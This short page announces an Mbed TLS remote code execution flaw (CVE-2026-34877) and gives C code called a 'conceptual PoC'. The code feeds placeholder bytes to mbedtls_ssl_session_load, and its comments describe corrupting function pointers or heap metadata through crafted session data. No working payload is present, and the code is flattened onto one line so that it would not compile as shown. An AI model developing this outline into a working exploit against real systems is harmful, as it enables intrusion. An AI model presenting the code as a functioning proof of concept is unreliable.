CVE-2026-34877 Mbed TLS 远程代码执行漏洞

/* * Conceptual PoC for CVE-2026-34877 * This demonstrates the serialization and deserialization flow * where memory corruption occurs if the serialized data is modified. */ #include <stdio.h> #include <string.h> #include "mbedtls/ssl.h" // Simulated vulnerable function int trigger_vulnerability(unsigned char *malicious_data, size_t len) { mbedtls_ssl_context ssl; mbedtls_ssl_session session; mbedtls_ssl_init(&ssl); mbedtls_ssl_session_init(&session); // Vulnerability: Insufficient protection when deserializing // The library assumes the data is valid and trusted. // If 'malicious_data' is crafted to overflow buffers, // memory corruption occurs here. int ret = mbedtls_ssl_session_load(&session, malicious_data, len); if (ret != 0) { printf("Error loading session: -0x%04X\n", -ret); return -1; } // Further processing leading to potential code execution // ... mbedtls_ssl_session_free(&session); mbedtls_ssl_free(&ssl); return 0; } int main() { // Placeholder for actual malicious payload // Real exploit would involve specific byte offsets to corrupt // function pointers or heap metadata. unsigned char evil_data[] = { 0x00, 0x01, 0x02 /* Injected payload */ }; printf("Attempting to trigger CVE-2026-34877...\n"); trigger_vulnerability(evil_data, sizeof(evil_data)); return 0; }